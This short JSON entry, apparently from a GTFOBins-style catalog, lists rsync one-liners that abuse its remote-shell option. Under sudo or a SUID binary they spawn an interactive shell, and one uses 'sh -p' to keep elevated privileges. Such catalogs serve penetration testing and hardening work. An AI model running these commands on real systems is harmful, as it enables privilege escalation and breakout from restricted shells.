{
  "functions": {
    "shell": [
      {
        "code": "rsync -e 'sh -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null"
      }
    ],
    "sudo": [
      {
        "code": "sudo rsync -e 'sh -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null"
      }
    ],
    "suid": [
      {
        "code": "./rsync -e 'sh -p -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null"
      }
    ]
  }
}